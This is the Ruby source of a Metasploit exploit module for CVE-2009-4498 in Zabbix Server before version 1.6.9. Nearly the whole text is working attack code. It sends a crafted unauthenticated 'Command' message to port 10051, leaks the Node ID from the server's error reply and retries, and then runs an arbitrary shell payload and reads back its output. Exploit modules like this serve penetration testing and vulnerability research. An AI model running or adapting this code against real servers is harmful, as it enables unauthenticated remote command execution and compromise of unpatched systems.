Zabbix Server Arbitrary Command Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Zabbix Server Arbitrary Command Execution',  
'Description' => %q{  
This module abuses the "Command" trap in Zabbix Server to execute arbitrary  
commands without authentication. By default the Node ID "0" is used, if it doesn't  
work, the Node ID is leaked from the error message and exploitation retried.  
  
According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability  
has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.  
},  
'Author' =>  
[  
'Nicob <nicob[at]nicob.net>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2009-4498' ],  
[ 'OSVDB', '60965' ],  
[ 'BID', '37989' ],  
[ 'EDB', '10432' ],  
[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic telnet',  
# *_perl, *_python and *_ruby work if they are installed  
}  
},  
'Targets' =>  
[  
[ 'Zabbix 1.6.7', { } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Sep 10 2009'  
))  
  
register_options(  
[  
Opt::RPORT(10051),  
], self.class)  
end  
  
def send_command(sock, node_id, cmd)  
host_id = Rex::Text.rand_text_numeric(3)  
msg = "Command\255"  
msg << "#{node_id}\255"  
msg << "#{host_id}\255"  
msg << "#{cmd}\n"  
sock.put(msg)  
res = sock.get_once  
return res  
end  
  
def check  
peer = "#{rhost}:#{rport}"  
node_id = 0  
clue = Rex::Text.rand_text_alpha(rand(5)+5)  
cmd = "echo #{clue}"  
  
connect  
print_status("#{peer} - Sending 'Command' request...")  
res = send_command(sock, node_id, cmd)  
disconnect  
  
if res  
print_status(res)  
if res =~ /#{clue}/  
return Exploit::CheckCode::Vulnerable  
elsif res =~ /-1/ and res=~ /NODE (\d*)/  
node_id = $1  
print_good("#{peer} - Node ID #{node_id} discovered")  
else  
return Exploit::CheckCode::Safe  
end  
else # No response  
return Exploit::CheckCode::Safe  
end  
  
# Retry with the good node_id  
connect  
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")  
res = send_command(sock, node_id, cmd)  
disconnect  
if res and res =~ /#{clue}/  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
peer = "#{rhost}:#{rport}"  
node_id = 0  
cmd = payload.encoded  
  
connect  
print_status("#{peer} - Sending 'Command' request...")  
res = send_command(sock, node_id, cmd)  
disconnect  
  
if res and res =~ /-1/ and res=~ /NODE (\d*)/  
# Retry with the good node_id  
node_id = $1  
print_good("#{peer} - Node ID #{node_id} discovered")  
connect  
print_status("#{peer} - Sending 'Command' request with discovered Node ID...")  
res = send_command(sock, node_id, cmd)  
disconnect  
end  
  
# Read command output from socket if cmd/unix/generic payload was used  
if (datastore['CMD'])  
if res and res =~ /\x30\xad/  
print_good("#{peer} - Command executed successfully")  
print_status("Output:\n#{res.split("\x30\xad").last}")  
else  
print_error("#{peer} - Failed to execute the command")  
end  
end  
  
end  
  
end  
`